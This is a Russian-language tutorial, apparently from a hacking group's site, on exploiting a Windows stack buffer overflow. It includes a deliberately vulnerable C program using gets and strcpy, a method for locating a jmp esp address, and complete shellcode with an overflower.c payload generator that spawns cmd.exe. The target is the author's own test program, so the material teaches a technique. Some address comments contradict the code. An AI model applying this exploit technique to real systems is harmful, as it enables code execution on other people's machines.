div.main {margin-left: 20pt; margin-right: 20pt}
Stack Overflows in Action
Part №2
1. Header
В прошлой статье я выложил информацию общего плана, которая необходима для тех,
кто услышал о эксплоитах впервые, а тем более никогда не вникал в основную идею.
Теперь приступлю к изложению непосредственно практики, которая на самом
деле и является воплощением предыдущей статьи.
Сразу хочу предупредить, что данный шелл не совершенен и максимально упрощен,
к примеру вместо получения адреса необходимых функций с помощью пары
LoadLibrary/GetProcAddress используются прямые ссылки, что локализирует
действие данного шелла на те системы, на которых адреса, зашитые в шелл
совпадут с реальными адресами функций в DLL. Очевидно от чего это зависит -
если Windows загрузит DLL по другой базе, то шелл вылетит с сообщением...
...где 0х77е8898b адрес jmp esp в kernel32.dll в моей системе.
Поэтому в данном шелле подбор адресов должен производится чисто индивидуально
для каждой системы. Далее я опишу как определять эти адреса. Зачем так стараться?
ИМХО: это улучшит навыки любого кто самостоятельно найдет нужный адрес своим
девайсом(то есть ручками). А вообще нужно действовать несколько иначе: для особо
продвинутых подскажу идеи:
а) Использовать ссылки из таблицы импорта
б) Использовать LoadLibrary/GetProcAddress
Но эта тема будет обсуждаться в других статьях.
Начнем...
2. Sections
Пишем собственную прогу вида
"owerflow.c"
#include <stdio.h>
#include <string.h>
int test(char *big)
{
char buffer[100]; // переполняемый буфер
strcpy(buffer,big);// собственно само переполнение
return 0;
}
int main ()
{
char big[512];
gets(big); // получение текствой строки-сюда-то мы и передаем наш шелл
test(big); // вызов уязвимой функции
return 0;
}
В этом коде нет ничего сверхъестественного, а потому идем далее. Как определить,
что переполняется, где переполняется и чего куда передавать?
Элементарно! Берем, запускаем нашу программу owerflow.exe(для танкистов -
owerflow.exe получается путем компиляции owerflow.c ) и передаем ей строку
вида:
Аааааа.........ааааааааа - где-то примерно символов 110 для уверенности. И что мы видим?
Доигрались - скажете вы. А на самом-то деле все отлично прошло, вы взорвали
буфер и как результат(об этом я и упоминал в первой части), перезаписали адрес
возврата из функции кодом 0х61(тоесть символом 'a'). А теперь я вас хочу спросить:
кто мешает вам вместо бессмысленных строк символов передать строку опкодов,
которая получила гордое название шелл-кода? Никто! При внимательном
рассмотрении сложившейся ситуации под четким оком SoftIce, легко понять что
произошло: благодаря специфике стека наша строка затерла собой как сохраненное
значение ebp, так и адрес возврата. Обратите внимание, что адрес возврата
затирается 104,105,106,107 символами нашей строки(это видно тогда, когда вместо
ааа..аааа передется последовательность символов с ASCII кодами начиная с 32 по 256),
поэтому необходимо сформировать строку так, чтобы 104-107 байты содержали адрес, по
которому нужно передать управление. Теперь выясним это самый адрес, но сперва замечу,
что байты с 100 по 103 перекрывают сохраненное значение EBP - это нам тоже пригодится
для формирования стэка, но об этом позже. Посмотрев в SoftIce содержимое регистра esp
в момент переполнения, легко установить, что там содержится адрес байта нашей строки,
следующего за последним из четырех байтов, перекрывающих EIP. Сие означает следующее:
(*) - Символы, заполняющие буфер-приемник и потому не имеющие значения, их заполним NOP
(**) - Эти 4 байта начиная с N и заканчивая N+3 перекрывают собой EIP. Поэтому для
корректного исполнения шелл-кода они должны содержать адрес, по которому размещается
первый байт нашего шелла, либо адрес инструкции, переводящий процессор на исполнение этого
первого байта.
(***) - Начиная с N+4 и до M идут опкоды, которые и составят наш шелл. С помощью SoftIce
удалось установить, что нужный нам адрес перехода содержится в ESP после исполнения
RET в вызываемой функции test -> если переполнить буфер при запущенном SoftIce, то во
всплывшем окне отладчика нужно просто просмотреть значения регистров и командой D
esp просмотреть содержимое памяти по адресу в esp, там мы увидим нашу строку начиная
с N+4.
Отлично! Осталось заполнить строку, начиная со 108-позиции, опкодами и передать
управление по адресу в esp. Для этого снова переполним программу при запущенном Sice
и когда он всплывет введем команду:
:S 10000000 l ffffffff FF e4
где 10000000-ffffffff-диапазон поиска, а FF e4-опкод инструкции jmp esp
получим:
;Pattern found at xxxxxxxx <- этот адрес может отличаться(у меня он равен 77e98601,
что соответствует ntdll.dll).
Мы определили адрес jmp esp-теперь мы передадим этот адрес в позиции 104-107 и получим,
что при переполнении в eip будет помещен адрес инструкции jmp esp из ntdll.dll, которая
и перебросит нас на 108-позицию нашей строки. Осталось эту самую строку наполнить
опкодами. В качестве шелла обычно используют код, реализующий загрузку консоли(для
виндов это аналогично окну Command Prompt). Для этого составим программу на C:
"winexec.c"
#include <windows.h>
typedef (*PFUNK)(char*,DWORD);
int main ()
{
HMODULE hDll=LoadLibrary("kernel32.dll");
PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec");
(*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW);
}
WinExec исполняет программу, требует 2 параметра и располагается в kernel32.dll.
Все это работает потому, что kernel32.dll использует любая программа и потому, что адрес не
содержит нулевых байтов, наличие которых недопустимо. В переменной pFunc получим адрес
WinExec, у каждого он будет свой. Теперь нам нужно сформировать асм-код, вызывающий WinExec.
Вот он:
__asm {
mov esp,ebp ;формируем пролог
push ebp
mov ebp,esp
mov esi,esp
xor edi,edi;формируем завершающие нули
push edi
sub esp,18h//освобождаем в стэке место под строку
//стэк должен всегда быть выровнян на границу кратную 4
//для обеспечения гранулярности
mov byte ptr [ebp-1ch],63h //'c'//пулим в стэк строку
mov byte ptr [ebp-1bh],6Dh //'m'
mov byte ptr [ebp-1ah],64h //'d'
mov byte ptr [ebp-19h],2Eh //'.'
mov byte ptr [ebp-18h],65h //'e'
mov byte ptr [ebp-17h],78h //'x'
mov byte ptr [ebp-16h],65h //'e'
mov byte ptr [ebp-15h],20h //' '
mov byte ptr [ebp-14h],2fh //'/'
mov byte ptr [ebp-13h],4bh //'K'
mov byte ptr [ebp-12h],20h //' '
mov byte ptr [ebp-11h],73h //'s'
mov byte ptr [ebp-10h],74h //'t'
mov byte ptr [ebp-0fh],61h //'a'
mov byte ptr [ebp-0eh],72h //'r'
mov byte ptr [ebp-0dh],74h //'t'
mov byte ptr [ebp-0ch],20h //' '
mov byte ptr [ebp-0bh],63h //'c'
mov byte ptr [ebp-0ah],6dh //'m'
mov byte ptr [ebp-09h],64h //'d'
mov byte ptr [ebp-08h],2Eh //'.'
mov byte ptr [ebp-07h],65h //'e'
mov byte ptr [ebp-06h],78h //'x'
mov byte ptr [ebp-05h],65h //'e'
//поместить в eax адрес winexec полученный из pFunc
mov eax, 0x77e98601
//поместить в стэк адрес winexec
push eax
//передаем параметр SW_SHOW
push 05
//передаем адрес строки
lea eax,[ebp-1ch]
push eax
//ExitProcess в eax
mov eax,0x77e9b0bb
push eax //устанавливаем адрес возврата
mov eax, 0x77e98601
//перейти на точку входа winexec
jmp eax }
Этот код проверялся в Visual C++6.0 и все работает отлично. Ну теперь осталось
сформировать строку из опкодов. А где их взять? Да в том же Visual C++ Debugger. Просто
при трассировке из контекстного меню выберите опцию Code Bytes при включенном
Disassembly mode и вы получите необходимые опкоды. Осталось только собрать все воедино:
"overflower.c"
#include <stdio.h>
int main()
{
int i;
char buf[256];
//ЗАПОЛНЯЕМ БУФЕР NOP
for (i=0;i<100;i++)
buf[i]=0x90;
// Перекрыть ebp адресом начала нашего строкового буфера,
// чтобы потом использовать его под стек, адрес передается
// через xor чтобы затереть нули. Затем инструкцией
// xor ebp,0xffffffff восстанавливаем первоначальный адрес
buf[100]=0x3f;
buf[101]=0x01;
buf[102]=0xed;
buf[103]=0xff;
//поместить адрес инструкции jmp esp
//расположенной в ntdll.dll по адресу 77f8948B
//в те 4 байта которые перекрывают eip
buf[104]=0x8b;
buf[105]=0x94;//89;
buf[106]=0xf8;//e8;
buf[107]=0x77;
buf[108]=0x90;
//xor ebp,0xffffffff <-формируем министек для последующего вызова winexec
buf[109]=0x83;
buf[110]=0xf5;
buf[111]=0xff;
//****************
//mov esp,ebp
buf[112]=0x8b;
buf[113]=0xe5;
//******************
//push ebp
buf[114]=0x55;
//mov ebp,esp
buf[115]=0x8b;
buf[116]=0xec;
//xor edi,edi
buf[117]=0x33;
buf[118]=0xff;
//push edi
buf[119]=0x57;
//sub esp,18h
buf[120]=0x83;
buf[121]=0xec;
buf[122]=0x18;
//**********************************
//создание строки на стеке *
//mov byte ptr [ebp-19h],63h 'c'
buf[123]=0xc6;
buf[124]=0x45;
buf[125]=0xe4;
buf[126]=0x63;
//mov byte ptr [ebp-18h],6dh 'm'
buf[127]=0xc6;
buf[128]=0x45;
buf[129]=0xe5;
buf[130]=0x6d;
//mov byte ptr [ebp-17h],64h 'd'
buf[131]=0xc6;
buf[132]=0x45;
buf[133]=0xe6;
buf[134]=0x64;
//mov byte ptr [ebp-16h],2eh '.'
buf[135]=0xc6;
buf[136]=0x45;
buf[137]=0xe7;
buf[138]=0x2e;
//mov byte ptr [ebp-15h],65h 'e'
buf[139]=0xc6;
buf[140]=0x45;
buf[141]=0xe8;
buf[142]=0x65;
//mov byte ptr [ebp-14h],78h 'x'
buf[143]=0xc6;
buf[144]=0x45;
buf[145]=0xe9;
buf[146]=0x78;
//mov byte ptr [ebp-13h],65h 'e'
buf[147]=0xc6;
buf[148]=0x45;
buf[149]=0xea;
buf[150]=0x65;
//mov byte ptr [ebp-12h],20h ' '
buf[151]=0xc6;
buf[152]=0x45;
buf[153]=0xeb;
buf[154]=0x20;
//mov byte ptr [ebp-11h],2fh '/'
buf[155]=0xc6;
buf[156]=0x45;
buf[157]=0xec;
buf[158]=0x2f;
//mov byte ptr [ebp-10h],4bh 'K'
buf[159]=0xc6;
buf[160]=0x45;
buf[161]=0xed;
buf[162]=0x4b;
//mov byte ptr [ebp-0fh],20h ' '
buf[163]=0xc6;
buf[164]=0x45;
buf[165]=0xee;
buf[166]=0x20;
//mov byte ptr [ebp-0eh],73h 's'
buf[167]=0xc6;
buf[168]=0x45;
buf[169]=0xef;
buf[170]=0x73;
//mov byte ptr [ebp-0dh],74h 't'
buf[171]=0xc6;
buf[172]=0x45;
buf[173]=0xf0;
buf[174]=0x74;
//mov byte ptr [ebp-0ch],61h 'a'
buf[175]=0xc6;
buf[176]=0x45;
buf[177]=0xf1;
buf[178]=0x61;
//mov byte ptr [ebp-0bh],72h 'r'
buf[179]=0xc6;
buf[180]=0x45;
buf[181]=0xf2;
buf[182]=0x72;
//mov byte ptr [ebp-0ah],74h 't'
buf[183]=0xc6;
buf[184]=0x45;
buf[185]=0xf3;
buf[186]=0x74;
//mov byte ptr [ebp-9],20h ' '
buf[187]=0xc6;
buf[188]=0x45;
buf[189]=0xf4;
buf[190]=0x20;
//mov byte ptr [ebp-8],63h 'c'
buf[191]=0xc6;
buf[192]=0x45;
buf[193]=0xf5;
buf[194]=0x63;
//mov byte ptr [ebp-7],6dh 'm'
buf[195]=0xc6;
buf[196]=0x45;
buf[197]=0xf6;
buf[198]=0x6d;
//mov byte ptr [ebp-6],64h 'd'
buf[199]=0xc6;
buf[200]=0x45;
buf[201]=0xf7;
buf[202]=0x64;
//mov byte ptr [ebp-5],2eh '.'
buf[203]=0xc6;
buf[204]=0x45;
buf[205]=0xf8;
buf[206]=0x2e;
//mov byte ptr [ebp-4],65h 'e'
buf[207]=0xc6;
buf[208]=0x45;
buf[209]=0xf9;
buf[210]=0x65;
//mov byte ptr [ebp-3],78h 'x'
buf[211]=0xc6;
buf[212]=0x45;
buf[213]=0xfa;
buf[214]=0x78;
//mov byte ptr [ebp-2],65h 'e'
buf[215]=0xc6;
buf[216]=0x45;
buf[217]=0xfb;
buf[218]=0x65;
//*************************************
//mov eax,77 e9 86 01h <-Winexec address
buf[219]=0xb8;
buf[220]=0x01;
buf[221]=0x86;
buf[222]=0xe9;
buf[223]=0x77;
//push eax
buf[224]=0x50;
//push 05 <-SW_SHOW_NORMAL
buf[225]=0x6a;
buf[226]=0x05;
//lea eax,[ebp-1ch] <-адрес строки
buf[227]=0x8d;
buf[228]=0x45;
buf[229]=0xe4;
//push eax
buf[230]=0x50;
//эмулируем call dword ptr [ebp-0ch]
//для этого формируем адрес возврата и пушим его
//а затем просто джампим на eax в котором адрес аналог.[ebp-0ch]
//таким образом прыгаем на winexec, которая возвращает
//управление на ExitProcess
//mov eax,0x77e8f32d <-ExitProcess
buf[231]=0xb8;
buf[232]=0x2d;
buf[233]=0xf3;
buf[234]=0xe8;
buf[235]=0x77;
//push eax <-сделать адресом возврата адрес переданный в eax
buf[236]=0x50;
//mov eax,0x77e8f32d <-WinExec address
buf[237]=0xb8;
buf[238]=0x01;
buf[239]=0x86;
buf[240]=0xe9;
buf[241]=0x77;
//jmp eax <-выполнить WinExec
buf[242]=0xff;
buf[243]=0xe0;
//ПЕРЕДАТЬ СТРОКУ В ПЕРЕПОЛНЯЕМЫЙ БУФЕР
for(i=0;i<256;i++)
{
printf("%c",buf[i]);
}
}
Ну вот вроде и все. Единственное: добавлю про ebp - этот регистр играет важную роль в
нашем нелегком деле. Нужно где-то формировать стэк, но где? А почему не использовать
под стэк наш буфер, заполненный NOP? Так и забилдим, под SoftIce посмотрим содержимое ESP
и отнимем от него 64h либо зададим искать строку 0х9090909090 - кто как желает,
главное найти адрес начала буфера. Затем этот адрес поместим в EBP (помните в начале
я акцентировал внимание на том, что байты с 100 по 103 перекрывают ebp - ну так и
поместим найденный адрес в эти байты предварительно удалив из него нули). А как? Да
очень просто - сделать Исключающее ИЛИ в терминах булевой алгебры, либо по-простому XOR.
Тоесть иксорим начальный адрес, передаем в ebp, а затем в шелле снова делаем
XOR EBP,0xFFFFFFFF и все! Теперь у нас есть стек.
Недостатками данного шелла являются прямые ссылки на функции, возможно я поправлю эти
фичи и запортирую новый шелл, гораздо более универсальный.
Happy END of Part №2
buLLet
bullet@atlasua.net
uinC Member
[c]uinC
Выражаю огромное спасибо за ПОМОЩЬ Андрею Колищаку, статья котрого лежит здесь.
Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы
не отвечаем ни за какие последствия, которые имели место как следствие использования
этих материаловпрограмм. Вы используете все вышеперечисленное на свой страх и риск.
Любые материалы с этого сайта не могут быть скопированы без разрешения автора или
администрации.
|